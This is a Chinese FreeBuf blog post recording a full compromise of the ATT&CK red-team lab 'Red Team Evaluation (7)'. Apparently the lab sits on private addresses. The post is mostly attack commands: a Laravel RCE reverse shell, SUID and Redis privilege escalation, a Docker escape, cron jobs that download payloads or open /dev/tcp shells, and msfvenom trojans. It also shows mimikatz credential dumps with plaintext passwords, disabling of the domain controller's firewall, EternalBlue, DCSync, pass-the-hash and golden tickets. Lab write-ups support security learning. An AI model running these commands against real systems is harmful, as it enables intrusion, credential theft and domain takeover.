freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ATT&CK实战系列-红队评估(七)学习记录
2022-09-05 09:16:35
所属地 安徽省

1662307116_6314cb2c8e31f921c59c5.png!small?1662307117116

1662307129_6314cb39321de4754a1b6.png!small?1662307129511

http://192.168.0.130:81/

尝试使用之前知道的larvel开启调试模式导致敏感信息泄露的漏洞。

1662307167_6314cb5fdf4eca0e654e8.png!small?1662307168576

发现没有暴露出太多的信息,

1662307176_6314cb68f1f512591efcd.png!small?1662307177290

Goby扫描出漏洞:larvel的rce 和 redis未授权访问。

使用goby命令执行进行反弹shell+提权

获取到的是jobs的权限

(后面发现是web2的docker容器)

Kali:nc -lvp 8065

Goby:bash -c 'exec bash -i &>/dev/tcp/192.168.0.133/8065 <&1'

1662307184_6314cb70cd936d6460ec5.png!small?1662307185115

1662307266_6314cbc2b3f6c098fbb97.png!small?1662307267168

命令:find / -perm -u=s -type f 2>/dev/null

#能发现具有高权限的文件,发现/home/jobs 下存在名为shell的可疑高权限文件

cd /tmp

echo "/bin/bash" > ps

chmod 777 ps

echo $PATH

export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序

cd /home/jobs

./shell

# 然后就获得了root权限,可以执行命令了。

1662307298_6314cbe2acbc2137e030d.png!small?1662307298988

Redis提权

获取到的是ubuntu的权限

1.写公钥文件并上传至web1-redis的shell键中

1662307308_6314cbecf1c7299319d9f.png!small?1662307309681

2.将redis的备份目录为/root/.ssh 并 修改保存文件名

写公钥需要redis以root权限启动,

前面没有以root权限启动就报 “权限不足“的错误,后面web1虚拟机修改为root权限启动就ok了。

1662307317_6314cbf5e740b79c74d00.png!small?1662307318200

1662307333_6314cc053adf2aa1a8728.png!small?1662307333686

3.连接目标(直接获得root权限)

ssh 192.168.0.130

1662307370_6314cc2a10efb44cb686b.png!small?1662307370504

4.信息收集

这获取到的是DMZ主机的权限,内网是192.168.52.1/24网段。

1662307433_6314cc69918bc4643d264.png!small?1662307434042

在/etc/nginx/conf.d目录下发现进行了nginx反向代理,将内网的192.168.52.20:8000代理到外网192.168.0.130:81上面。

1662307448_6314cc78ba34c848c78d9.png!small?1662307449142

Docker逃逸

利用Docker特权模式逃逸

1.特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。

2.使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

3.当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

首先我们现在docker中新建一个/hack目录用来挂载文件:

命令:

fdisk -l #查看磁盘文件

1662307600_6314cd10ed1f31d4deb3e.png!small?1662307601383

mkdir /hack  # 新建一个/hack目录用来挂载文件

ls /

1662307600_6314cd102f7fdd55b68c2.png!small?1662307601381

ls /dev  #查看设备文件

1662307603_6314cd13cc55f0873dd6b.png!small?1662307604194

将 /dev/sda1 挂载到/hack目录里,就能读取/dev/sda1里的文件了(本地文件,非容器)

mount /dev/sda1 /hack

使用 ls /hack 查看是否挂载成功

1662307612_6314cd1c04d498c91dc76.png!small?1662307612299

如上图所示挂载成功了,此时我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的。

在docker容器里挂载一个宿主的本地目录,这样某些容器里输出的文件,就可以在本地目录中打开访问了。

发现ubuntu用户进行写公钥等操作

再进行一次反弹shell,好看一点,

1662307732_6314cd9452dc31688dea0.png!small?1662307732734

我们就能再docker容器里查看本地目录的东西了,发现home目录下的ubuntu用户。

1662307743_6314cd9fc8bb05495f976.png!small?1662307744455

至此我们逃逸出docker容器,权限还是不够,只是能够访问本地文件、写文件等操作(对web2)却不能执行进一步的命令,所以需要进一步的提权。

以下两种:

1.在/hack/home/ubuntu/.ssh目录下写入公钥文件(redis提权的web1生成公钥)

we1命令:

ssh-keygen -f hello #写公钥和私钥

chmod 600 hello #赋予权限

cat hello.pub # 获取公钥内容

web2命令:

echo 'cat hello.pub文件的内容' > /hello/home/ubuntu/.ssh/authorized_keys

注:IP-192.168.52.20是查看nginx反向代理发现的内网IP

1662307805_6314cddd4760d943b3f8b.png!small?1662307805736

1662307836_6314cdfc5f27c8d1e8c02.png!small?1662307836865

发现192.168.93.1/24网段

2. 写入计划任务进行反弹shell

计划任务:

a.msf

echo '* * * * * wget -qO 9Q18YaP8 --no-check-certificate http://192.168.0.133:8080/wE22Kdz1bsdKfdl; chmod +x 9Q18YaP8; ./9Q18YaP8& disown' >> /hack/var/spool/cron/crontabs/root

b.反弹shell

echo '* * * * * bash -i >& /dev/tcp/192.168.0.133/1233 0>&1' >> /hello/var/spool/cron/root

总结:

Web1(第一层):IP(192.168.0.130 和 192.168.52.10) redis公钥提权获得

Web2(第二层):IP(192.168.52.20和192.168.93.10)  larvel-rce反弹shell再提权到root权限,然后通过docker逃逸写公钥再使用第一层web1主机进行ssh私钥连接

1662307856_6314ce106dfc392598f55.png!small?1662307857098

Linux kernel特权提升漏洞(CVE-2021-3493)

Exp:https://github.com/briskets/CVE-2021-3493

获得web2的ubuntu用户并不是root权限,

1662308062_6314cede2282c517a8c87.png!small?1662308062431

查看内核,

1662308066_6314cee265e835e2f9114.png!small?1662308066762

touch exploit.c # 创建文件以后将exp的内容写入其中,

1662308073_6314cee9129f862b6f500.png!small?1662308073375

获得root权限的web2。

内网渗透

内网探测

1.msf上线

use exploit/multi/script/web_delivery

set target 7

set lhost 192.168.0.133

set payload linux/x64/meterpreter/reverse_tcp

run

获得wget -qO hnTYkmsn --no-check-certificate http://192.168.0.133:8080/uWvSlqPnjRoGe6S; chmod +x hnTYkmsn; ./hnTYkmsn& disown 语句,然后在root权限的web1和web2上面执行就能上线msf,获得sessions

1662308092_6314cefca8f102f3dc5eb.png!small?1662308093154

1.1尝试fscan探测

上传至web1的/tmp目录进行探测

sessions 1

upload /home/test/桌面/fscan_amd64

shell

chmod +x fscan_amd64

./fscan_amd64 -h 192.168.52.1/24

1662308105_6314cf09ededff26df014.png!small?1662308106303

1662308130_6314cf225357a054dc16f.png!small?1662308131133

发现192.168.52.30主机

1.2使用msf自带的模块进行探测

# 自动添加路由

run post/multi/manage/autoroute

run autoroute -p

1662308295_6314cfc7832961b72f15d.png!small?1662308295911

或者

# 手动添加路由

route add 192.168.52.0 255.255.255.0

route print

目的添加一个通往192.168.52.1/24网段的路由

use auxiliary/scanner/discovery/arp_sweep

1662308331_6314cfeb33306f7f5beba.png!small?1662308331675

use auxiliary/scanner/discovery/udp_probe

1662308339_6314cff30281b25e225c7.png!small?1662308339531

内网穿透-1

使用ew进行内网穿透(文件上传:在meterpreter进行upload /home/test/桌面/ew/ew_for_linux64)。

1662308360_6314d0082c9f62500e573.png!small?1662308360510

命令:

攻击机:./ew_for_linux64 -s rcsocks -l 1080 -e 1234

靶机web1:nohup ./ew_for_linux64 -s rssocks -d 192.168.0.133 -e 1234 &

将本机的1080端口的请求转发到1234端口上面,靶机对我们本机的1234端口进行连接。

1662308396_6314d02ccc4a92045a269.png!small?1662308397185

1662308425_6314d04931e3912779ee3.png!small?1662308427982

发现是11.3版本的

http://192.168.52.30:8080/inc/expired.php

1662308431_6314d04fba56805e51918.png!small?1662308432190

任意文件上传—>上传一个图片码,

1662308443_6314d05b4c88f6bddf53f.png!small?1662308443682

文件包含à将上传的图片码进行文件包含,

1662308452_6314d064edb0b9bcb6df1.png!small?1662308453269

详细了解查看这篇文章。

PC1-MSF上线

使用msfvenom生成木马

命令:msfvenom -p windows/meterpreter/bind_tcp lport=9091 -f exe > win7_9091.exe

1662308545_6314d0c11d4afe516ea62.png!small?1662308546362

将木马上传至web1,

1662308551_6314d0c7597dd95b24bb4.png!small?1662308552063

Web1开启8080端口的http服务,

1662308569_6314d0d96b5015fce9e1b.png!small?1662308569758

下载win7_9091.exe并重命名为exploit.exe

certutil.exe -urlcache -split -f http://192.168.0.130:8080/win7_9091.exe exploit.exe

1662308574_6314d0de2485ef6264467.png!small?1662308574463

运行以后会在本机开放9091端口进行监听,

1662308582_6314d0e69ccced3e075e3.png!small?1662308582971

使用handler模块进行正向连接(记得保持路由到52网段)

use exploit/multi/handler

1662308835_6314d1e3c4ee287af45c5.png!small?1662308836191

set payload windows/meterpreter/bind_tcp

set lport 9091

set rhost 192.168.52.30

对PC1进行信息搜集

ipconfig /all   # 查看本机ip,所在域

net view        # 查看局域网内其他主机名

1662308932_6314d2447f74793e8d2ee.png!small?1662308932789

1.修改编码:chcp 65001

1662308939_6314d24b43da3fc811f8e.png!small?1662308939546

2.获取局域网其他主机名

1662308947_6314d2534edac00978c24.png!small?1662308947611

3.发现域名

1662308954_6314d25adbdf63804b52e.png!small?1662308955186

ping DC.whoamianony.org

1662308969_6314d26989775ed61c0b9.png!small?1662308969913

ping PC2.whoamianony.org

1662308978_6314d272cea0c0ed43bbc.png!small?1662308979127

DC:192.168.93.30

PC2:192.168.93.40

猕猴桃密码抓取

load kiwi

kiwi_cmd privilege::debug

kiwi_cmd sekurlsa::logonPasswords

1662308985_6314d2790f79f33aa46c6.png!small?1662308985367

错误提示发现kiwi默认加载32位,不能接受64位。需要把meterpreter进程迁移到64的进程上面,才能加载64位的猕猴桃。

1662309014_6314d296621a5c9d00fc1.png!small?1662309014876

migrate 508

1662309020_6314d29cbfa6dd64d4c24.png!small?1662309021010

1662309103_6314d2ef4013ad7e62abd.png!small?1662309103645

1662309118_6314d2fe13c8545216434.png!small?1662309118388

抓取到两个密码,一个是域控机的,一个是本地的(PC1)

Whoami2021

Bunny2021

关闭域控防火墙

获取到域控的账户密码了,直接开打

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"

sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\192.168.93.30 start unablefirewall

1662309147_6314d31b17f7071cf4b0e.png!small?1662309147670

1662309152_6314d320b668c07493877.png!small?1662309153177

获取DC

尝试写计划任务获取DC

# 添加路由

route add 192.168.93.0 255.255.255.0

route print

目的添加一个通往192.168.93.1/24网段的路由,这样msf就能进入93网段了。

1662309160_6314d328e4b66aa86a725.png!small?1662309161336

1.生成木马

msfvenom -p windows/meterpreter/bind_tcp LPORT=8888 -f exe -o smb_8888.exe

1662309169_6314d33121307ba8b0e65.png!small?1662309169510

2.上传木马到PC1

1662309173_6314d335615f5c56a992c.png!small?1662309173780

3.使用共享文件夹上传至域控主机

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"   # 建立空连接

copy 8888.exe \\192.168.93.30\c$   # 上传至域控主机

net time \\192.168.93.30# 查看主机当前时间

1662309414_6314d4268e59fdfcae2d3.png!small?1662309415092

4.在域控机上面设置计划任务执行smb_8888木马

schtasks /create /s \\192.168.93.30 /u Administrator /p Whoami2021 /tn test /tr C:\smb_8888.exe  /sc once /st 14:59

1662309435_6314d43be63a9f9abe80d.png!small?1662309436357

5.返回运行监听模块

1662309450_6314d44ab94d26f24e9c5.png!small?1662309451187

1662309501_6314d47d26a1e20119157.png!small?1662309501625

尝试psexec获取DC

# 添加路由

route add 192.168.93.0 255.255.255.0 1

route print

目的添加一个通往192.168.93.1/24网段的路由,这样msf就能进入93网段了。

1662309509_6314d4859a017b896b219.png!small?16623095100031662309523_6314d493b6d09acb53105.png!small?1662309524157

使用exploit/windows/smb/psexec模块进行权限获取

set rhosts 192.168.93.30

set SMBUser Administrator

set SMBPass Whoami2021

set payload windows/meterpreter/bind_tcp

经过查找发现需要更换target

1662309540_6314d4a4c8ca3cc429d39.png!small?1662309541593

成功获取DC的sessions

1662309552_6314d4b050ed095a4e30d.png!small?1662309552789

还剩下一台PC2。

永恒之蓝打PC2

内网穿透-2

进行第三层内网穿透

PC1(192.168.52.30和192.168.93.20)

(由于第一次的内网穿透使用的是web1相当于使用web1访问了其他52网段的机器,现在我们要进入93网段访问需要正向连接进行永恒之蓝攻击获取会话。因此需要使用pc1的192.168.93.20-IP进行内网穿透。我们主机是访问不了192.168.52.30,所以需要一个中间人web1)。

首先攻击机上执行如下命令添加一个转接隧道,监听1090端口,并将1090端口收到的代理请求发送给9998端口,执行命令:

./ew_for_linux64 -s lcx_listen -l 1090 -e 9998

然后在第二层网络的Windows服务器PC1上传ew_for_Win.exe,并利用ssocksd方式启动999端口的正向socks代理,执行命令:

ew_for_Win.exe -s ssocksd -l 999

最后,在Web1上传的ew_for_linux64并利用lcx_slave方式,将攻击机的9998端口与第二层网络Windows 7的999端口连接起来,执行命令:

./ew_for_linux64 -s lcx_slave -d 192.168.0.133 -e 9998 -f 192.168.52.30 -g 999

1662309619_6314d4f3097db4d735a9c.png!small?1662309619869

ms17_010

setg Proxies socks5:127.0.0.1:1090

use exploit/windows/smb/ms17_010_eternalblue

set rhosts 192.168.93.40

set payload windows/x64/meterpreter/bind_tcp

run

1662309638_6314d506a423a0e6a51a1.png!small?1662309639256

运行发现出现报错“Could not make SMBv1 connection”

解决方案:

service postgresql start

service postgresql status

1662309661_6314d51de775bfa3380e5.png!small?1662309662502

再次run

1662309673_6314d52960f634bbbe631.png!small?1662309674359

5个sessions都成功获得

1662309680_6314d530c772475f60fea.png!small?1662309681233

尝试制作黄金票据和哈希传递

上传猕猴桃mimikatz.exe到域控主机上面

1662309693_6314d53dbba8f38dc265d.png!small?1662309694055

命令:

privilege::debug

lsadump::dcsync /user:krbtgt

1662309705_6314d549c4f0640a33d50.png!small?1662309706447

提取sid和hash ntlm获取关键信息:

Object Security ID : S-1-5-21-1315137663-3706837544-1429009142-502

Hash NTLM: 6be58bfcc0a164af2408d1d3bd313c2a

哈希传递

到域成员PC1主机上面,上传猕猴桃并制作黄金票据

先试试哈希传递

sekurlsa::logonpasswords

1662309826_6314d5c2b5b47ab895542.png!small?1662309827029

得到ntlm:ab89b1295e69d353dd7614c7a3a80cec

sekurlsa::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec

1662309837_6314d5cdf374e38437c07.png!small?1662309838417

随后应该会弹cmd框,但是这里看不到弹框,

直接到PC1主机上面试试哈希传递效果(之前没搞过试试),以管理员身份运行猕猴桃

dir \\DC.whoamianony.org\c$

1662309844_6314d5d4a6c4c582eff4e.png!small?1662309845192

dir \\DC.whoamianony.org\c$\users

1662309850_6314d5da01c7e1bf7903b.png!small?1662309850272

PsExec.exe \\DC.whoamianony.org cmd.exe 即可反弹域控的shell

1662309854_6314d5de6f1f5c86f6ec3.png!small?1662309854687

制作票据:

kerberos::golden /user:administrator /domain:whoamianony.org /sid:S-1-5-21-1315137663-3706837544-1429009142 /krbtgt:6be58bfcc0a164af2408d1d3bd313c2a /ticket:administrator.kiribi

1662309892_6314d604b22fc1120284e.png!small?1662309893056

加载票据:

kerberos::ptt administrator.kiribi

1662346918_631566a6748caa539951b.png!small?1662346919069

# 内网渗透 # 域控 # 靶场 # Windows系统 # 内网安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录